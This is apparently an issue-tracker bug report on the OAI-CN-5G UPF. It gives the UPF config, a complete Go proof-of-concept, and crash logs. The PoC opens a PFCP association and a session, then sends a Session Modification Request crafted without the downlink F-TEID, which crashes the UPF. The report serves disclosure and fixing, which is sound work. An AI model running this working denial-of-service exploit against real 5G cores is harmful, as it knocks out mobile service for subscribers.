Skip to content

[Bug] UPF Crash on PFCP Session Modification Request contain a PDR Missing Downlink F-TEID

OAI-CN-5G Release, Revision, or Tag

Description

UPF receives a PFCP SessionModificationRequest whose Create PDR omits the downlink F-TEID, causing the UPF to dereference a missing gNB IP while updating the ARP table in SessionProgramManager::createPipeline. The exception (“Missing gnb IP. Handling this case not implemented yet!”) propagates out of SessionManager::updateBPFSessionDL, resulting in the UPF crash.

config

config.yaml

   
################################################################################ # Licensed to the OpenAirInterface (OAI) Software Alliance under one or more # contributor license agreements.  See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The OpenAirInterface Software Alliance licenses this file to You under # the OAI Public License, Version 1.1  (the "License"); you may not use this file # except in compliance with the License. # You may obtain a copy of the License at # #      http://www.openairinterface.org/?page_id=698 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. #------------------------------------------------------------------------------- # For more information about the OpenAirInterface (OAI) Software Alliance: #      contact@openairinterface.org ################################################################################  # OAI CN Configuration File ### This file can be used by all OAI NFs ### Some fields are specific to an NF and will be ignored by other NFs ### The {{ env['ENV_NAME'] }} syntax lets you define these values in a docker-compose file ### If you intend to mount this file or use a bare-metal deployment, please refer to README.md ### The README.md also defines default values and allowed values for each configuration parameter  ############# Common configuration  # Log level for all the NFs log_level:   general: debug  # If you enable registration, the other NFs will use the NRF discovery mechanism register_nf:   general: yes    http_version: 2  ############## SBI Interfaces ### Each NF takes its local SBI interfaces and remote interfaces from here, unless it gets them using NRF discovery mechanisms nfs:   amf:     host: oai-amf     sbi:       port: 8080       api_version: v1       interface_name: eth0     n2:       interface_name: eth0       port: 38412   smf:     host: oai-smf     sbi:       port: 8080       api_version: v1       interface_name: eth0     n4:       interface_name: eth0       port: 8805   upf:     host: oai-upf     sbi:       port: 8080       api_version: v1       interface_name: eth1     n3:       interface_name: eth0       port: 2152     n4:       interface_name: eth0       port: 8805     n6:       interface_name: eth1     n9:       interface_name: eth0       port: 2152   udm:     host: oai-udm     sbi:       port: 8080       api_version: v1       interface_name: eth0   udr:     host: oai-udr     sbi:       port: 8080       api_version: v1       interface_name: eth0   ausf:     host: oai-ausf     sbi:       port: 8080       api_version: v1       interface_name: eth0   nrf:     host: oai-nrf     sbi:       port: 8080       api_version: v1       interface_name: eth0  #### Common for UDR and AMF database:   host: mysql   user: test   type: mysql   password: test   database_name: oai_db   generate_random: true   connection_timeout: 300 # seconds  ## general single_nssai configuration ## Defines YAML anchors, which are reused in the config file snssais:   - &embb_slice     sst: 1  ############## NF-specific configuration amf:   pid_directory: "/var/run"   amf_name: "OAI-AMF"   # This really depends on if we want to keep the "mini" version or not   support_features_options:     enable_simple_scenario: no     enable_nssf: no     enable_smf_selection: yes     use_external_udm: no   relative_capacity: 30   statistics_timer_interval: 20  #in seconds   emergency_support: false   served_guami_list:     - mcc: 001       mnc: 01       amf_region_id: 01       amf_set_id: 001       amf_pointer: 01   plmn_support_list:     - mcc: 001       mnc: 01       tac: 0x0001       nssai:         - *embb_slice   supported_integrity_algorithms:     - "NIA1"     - "NIA2"   supported_encryption_algorithms:     - "NEA0"     - "NEA1"     - "NEA2"  smf:   ue_mtu: 1500   support_features:     use_local_subscription_info: yes # Use infos from local_subscription_info or from UDM     use_local_pcc_rules: yes # Use infos from local_pcc_rules or from PCF   # we resolve from NRF, this is just to configure usage_reporting   upfs:     - host: oai-upf       config:         enable_usage_reporting: no   ue_dns:     primary_ipv4: "1.1.1.1"     primary_ipv6: "2001:4860:4860::8888"     secondary_ipv4: "8.8.8.8"     secondary_ipv6: "2001:4860:4860::8888"   ims:     pcscf_ipv4: "192.168.70.139"     pcscf_ipv6: "fe80::7915:f408:1787:db8b"   # the DNN you configure here should be configured in "dnns"   # follows the SmfInfo datatype from 3GPP TS 29.510   smf_info:     sNssaiSmfInfoList:       - sNssai: *embb_slice         dnnSmfInfoList:           - dnn: "oai"           - dnn: "openairinterface"           - dnn: "ims"           - dnn: "default"   local_subscription_infos:     - single_nssai: *embb_slice       dnn: "oai"       qos_profile:         5qi: 9         session_ambr_ul: "10Gbps"         session_ambr_dl: "10Gbps"     - single_nssai: *embb_slice       dnn: "openairinterface"       qos_profile:         5qi: 9         session_ambr_ul: "10Gbps"         session_ambr_dl: "10Gbps"     - single_nssai: *embb_slice       dnn: "ims"       qos_profile:         5qi: 9         session_ambr_ul: "10Gbps"         session_ambr_dl: "10Gbps"     - single_nssai: *embb_slice       dnn: "default"       qos_profile:         5qi: 9         session_ambr_ul: "10Gbps"         session_ambr_dl: "10Gbps"  upf:   support_features:     enable_bpf_datapath: yes    # If "on": BPF is used as datapath else simpleswitch is used, DEFAULT= off     enable_snat: yes           # If "on": Source natting is done for UE, DEFAULT= off   remote_n6_gw: 127.0.0.1      # Dummy host since simple-switch does not use N6 GW   smfs:     - host: oai-smf            # To be used for PFCP association in case of no-NRF   upf_info:     sNssaiUpfInfoList:       - sNssai: *embb_slice         dnnUpfInfoList:           - dnn: "oai"           - dnn: "openairinterface"           - dnn: "ims"           - dnn: "default"  ## DNN configuration dnns:   - dnn: "oai"     pdu_session_type: "IPV4"     ipv4_subnet: "10.0.0.0/24"   - dnn: "openairinterface"     pdu_session_type: "IPV4V6"     ipv4_subnet: "10.0.1.0/24"     ipv6_prefix: "2001:1:2::/64"   - dnn: "ims"     pdu_session_type: "IPV4V6"     ipv4_subnet: "10.0.9.0/24"     ipv6_prefix: "2001:1:2::/64"   - dnn: "default"     pdu_session_type: "IPV4V6"     ipv4_subnet: "10.0.255.0/24"     ipv6_prefix: "2001:1:2::/64" `

Steps to reproduce

  1. Start a new go project inside a new folder: go mod init poc

  2. Create a main.go and paste the code below:

    package main
    
    import (
    	"flag"
    	"fmt"
    	"log"
    	"math/rand"
    	"net"
    	"sync/atomic"
    	"time"
    
    	"github.com/wmnsk/go-pfcp/ie"
    	"github.com/wmnsk/go-pfcp/message"
    )
    
    type pfcpClient struct {
    	conn    *net.UDPConn
    	timeout time.Duration
    	seq     uint32
    }
    
    func newPFCPClient(addr string, timeout time.Duration) (*pfcpClient, error) {
    	udpAddr, err := net.ResolveUDPAddr("udp", addr)
    	if err != nil {
    		return nil, err
    	}
    	conn, err := net.DialUDP("udp", nil, udpAddr)
    	if err != nil {
    		return nil, err
    	}
    	return &pfcpClient{
    		conn:    conn,
    		timeout: timeout,
    		seq:     uint32(rand.Intn(0xffffff)),
    	}, nil
    }
    
    func (c *pfcpClient) close() {
    	_ = c.conn.Close()
    }
    
    func (c *pfcpClient) nextSeq() uint32 {
    	return atomic.AddUint32(&c.seq, 1)
    }
    
    func (c *pfcpClient) send(msg message.Message) (message.Message, error) {
    	payload := make([]byte, msg.MarshalLen())
    	if err := msg.MarshalTo(payload); err != nil {
    		return nil, err
    	}
    	if _, err := c.conn.Write(payload); err != nil {
    		return nil, err
    	}
    	_ = c.conn.SetReadDeadline(time.Now().Add(c.timeout))
    	buf := make([]byte, 4096)
    	n, _, err := c.conn.ReadFromUDP(buf)
    	if err != nil {
    		return nil, err
    	}
    	return message.Parse(buf[:n])
    }
    
    func (c *pfcpClient) associate(cpIP net.IP, nodeID string) error {
    	req := message.NewAssociationSetupRequest(
    		c.nextSeq(),
    		ie.NewNodeID(nodeID, "", ""),
    		ie.NewRecoveryTimeStamp(time.Now()),
    	)
    	_, err := c.send(req)
    	return err
    }
    
    type sessionHandle struct {
    	cpSEID  uint64
    	upfSEID uint64
    	farID   uint32
    	pdrID   uint16
    	teid    uint32
    }
    
    func randomSEID() uint64 {
    	const mask = (1 << 60) - 1
    	return uint64(rand.Int63()) & mask
    }
    
    func establishSession(c *pfcpClient, cpIP, ueIP, gnbIP net.IP, nodeID string) (*sessionHandle, error) {
    	seid := randomSEID()
    	farID := uint32(1000)
    	pdrID := uint16(500)
    	teid := uint32(0x80000000)
    
    	req := message.NewSessionEstablishmentRequest(0, 0, seid, c.nextSeq(), 0,
    		ie.NewNodeID(nodeID, "", ""),
    		ie.NewFSEID(seid, cpIP, nil),
    		ie.NewCreateFAR(
    			ie.NewFARID(farID),
    			ie.NewApplyAction(0x02),
    			ie.NewForwardingParameters(
    				ie.NewDestinationInterface(ie.DstInterfaceCore),
    				ie.NewOuterHeaderCreation(0x0100, teid, gnbIP.String(), "", 0, 0, 0),
    			),
    		),
    		ie.NewCreatePDR(
    			ie.NewPDRID(pdrID),
    			ie.NewPrecedence(200),
    			ie.NewPDI(
    				ie.NewSourceInterface(ie.SrcInterfaceAccess),
    				ie.NewUEIPAddress(0x02, ueIP.String(), "", 0, 0),
    				ie.NewFTEID(0x01, teid, gnbIP, nil, 0),
    			),
    			ie.NewFARID(farID),
    		),
    	)
    	msg, err := c.send(req)
    	if err != nil {
    		return nil, err
    	}
    	resp, ok := msg.(*message.SessionEstablishmentResponse)
    	if !ok {
    		return nil, fmt.Errorf("unexpected response %T", msg)
    	}
    	if resp.Cause != nil {
    		if cause, _ := resp.Cause.Cause(); cause != ie.CauseRequestAccepted {
    			return nil, fmt.Errorf("session rejected (cause=%d)", cause)
    		}
    	}
    	if resp.UPFSEID == nil {
    		return nil, fmt.Errorf("missing UPF SEID in response")
    	}
    	upf, err := resp.UPFSEID.FSEID()
    	if err != nil {
    		return nil, err
    	}
    	return &sessionHandle{
    		cpSEID:  seid,
    		upfSEID: upf.SEID,
    		farID:   farID,
    		pdrID:   pdrID,
    		teid:    teid,
    	}, nil
    }
    
    func sendCrashModification(c *pfcpClient, sess *sessionHandle, cpIP, ueIP net.IP) error {
    	req := message.NewSessionModificationRequest(0, 0, sess.upfSEID, c.nextSeq(), 0,
    		ie.NewFSEID(sess.cpSEID, cpIP, nil),
    		ie.NewCreateFAR(
    			ie.NewFARID(sess.farID+1),
    			ie.NewApplyAction(0x02),
    			ie.NewForwardingParameters(
    				ie.NewDestinationInterface(ie.DstInterfaceCore),
    				ie.NewOuterHeaderCreation(0x0100, sess.teid, "", "", 0, 0, 0),
    			),
    		),
    		ie.NewCreatePDR(
    			ie.NewPDRID(sess.pdrID+1),
    			ie.NewPrecedence(100),
    			ie.NewPDI(
    				ie.NewSourceInterface(ie.SrcInterfaceCore),
    				ie.NewUEIPAddress(0x02, ueIP.String(), "", 0, 0),
    				// intentionally omit ie.NewFTEID to withhold gNB IP
    			),
    			ie.NewFARID(sess.farID+1),
    		),
    	)
    	_, err := c.send(req)
    	return err
    }
    
    func main() {
    	var (
    		pfcpAddr = flag.String("pfcp", "192.168.70.134:8805", "PFCP target (host:port)")
    		cpIPStr  = flag.String("cp-ip", "127.0.0.1", "Control plane IPv4")
    		gnbIPStr = flag.String("gnb-ip", "192.168.70.134", "gNB IPv4")
    		ueIPStr  = flag.String("ue-ip", "12.1.1.10", "UE IPv4")
    		nodeID   = flag.String("node-id", "codex-smf", "PFCP Node ID")
    		timeout  = flag.Duration("timeout", 5*time.Second, "PFCP timeout")
    	)
    	flag.Parse()
    
    	cpIP := net.ParseIP(*cpIPStr)
    	gnbIP := net.ParseIP(*gnbIPStr)
    	ueIP := net.ParseIP(*ueIPStr)
    	if cpIP == nil || gnbIP == nil || ueIP == nil {
    		log.Fatal("invalid IP addresses provided")
    	}
    
    	client, err := newPFCPClient(*pfcpAddr, *timeout)
    	if err != nil {
    		log.Fatalf("failed to create PFCP client: %v", err)
    	}
    	defer client.close()
    
    	if err := client.associate(cpIP, *nodeID); err != nil {
    		log.Fatalf("PFCP association failed: %v", err)
    	}
    	log.Println("[+] PFCP association established")
    
    	sess, err := establishSession(client, cpIP, ueIP, gnbIP, *nodeID)
    	if err != nil {
    		log.Fatalf("session establishment failed: %v", err)
    	}
    	log.Printf("[+] Session established (cpSEID=0x%x upfSEID=0x%x)", sess.cpSEID, sess.upfSEID)
    
    	log.Println("[*] Sending crafted Session Modification (missing F-TEID)")
    	if err := sendCrashModification(client, sess, cpIP, ueIP); err != nil {
    		log.Fatalf("session modification errored before UPF crash: %v", err)
    	}
    
    	log.Println("[*] Modification sent. If the UPF lacks hardening, it should log \"Missing gnb IP\" and crash.")
    }
  3. Download required libraries: go mod tidy

  4. Run the program with the upf pfcp server address: go run ./main.go \ -pfcp 192.168.70.134:8805 \ -cp-ip 127.0.0.1 \ -gnb-ip 192.168.70.134 \ -ue-ip 12.1.1.10

Logs

[2025-11-17 13:50:08.681] [upf_app] [debug] (upf_n6_ip, dn_ip ) : (192.168.70.240, 127.0.0.1) For PDR 500
[2025-11-17 13:50:08.681] [upf_app] [debug]  same subnet
[2025-11-17 13:50:08.681] [upf_n4 ] [info] handle_receive(117 bytes)
[2025-11-17 13:50:08.682] [upf_app] [info] Received N4_SESSION_MODIFICATION_REQUEST seid 0x1 
[2025-11-17 13:50:08.682] [pfcp_switch] [warning] TODO check carrefully update fseid in PFCP_SESSION_MODIFICATION_REQUEST
[2025-11-17 13:50:08.682] [upf_n4 ] [info] pfcp_session::add(far) seid 0x1 
[2025-11-17 13:50:08.682] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x1 
[2025-11-17 13:50:08.682] [upf_app] [info] Modify datapath
[2025-11-17 13:50:08.682] [upf_app] [debug] sessionManager::modifyBpfSession() seid 0x1 
[2025-11-17 13:50:08.682] [upf_app] [debug] modifyBpfSession:: add(pdr)
[2025-11-17 13:50:08.682] [upf_app] [debug] Retrieving teid from session seid 0x1 
[2025-11-17 13:50:08.682] [upf_app] [debug] Session seid 0x1 has teid 0x80000000 
[2025-11-17 13:50:08.682] [upf_app] [error] Missing gnb IP. Handeling this case not implemented yet!
[2025-11-17 13:50:08.682] [upf_app] [error] Error: The ARP table was not updated for N6 Next HOP
[2025-11-17 13:50:08.684] [upf_app] [debug] There are some programs in LINKED state
[2025-11-17 13:50:08.684] [upf_app] [debug] BPF program xdp_handle_uplink is in a HOOKED state
terminate called after throwing an instance of 'std::runtime_error'
  what():  Missing gnb IP. Use case not Yet implemented
[2025-11-17 13:50:08.684] [upf_app] [info] BPF program xdp_handle_uplink unlink to 2 interface
[2025-11-17 13:50:08.684] [upf_app] [debug] BPF program xdp_handle_shaping are not link to any interface
[2025-11-17 13:50:08.684] [upf_app] [debug] BPF program xdp_handle_downlink is in a HOOKED state
[2025-11-17 13:50:08.684] [upf_app] [info] BPF program xdp_handle_downlink unlink to 3 interface
[2025-11-17 13:50:08.684] [system ] [info] Caught signal 11
[2025-11-17 13:50:08.684] [common] [info] Waiting ITTI tasks closed
[2025-11-17 13:50:08.684] [asc_cmd] [info] Received terminate message
[2025-11-17 13:50:08.684] [upf_n4 ] [info] Received terminate message
terminate called recursively

Expected Behaviour

When the UPF receives a malformed Session Modification (e.g., missing F-TEID), it should reject the request with an appropriate PFCP Cause code (such as MANDATORY_IE_MISSING).

Observed Behaviour

The UPF accepts the request, attempts to create a downlink pipeline, fails to obtain the gNB IP, throws a std::runtime_error, and crashes.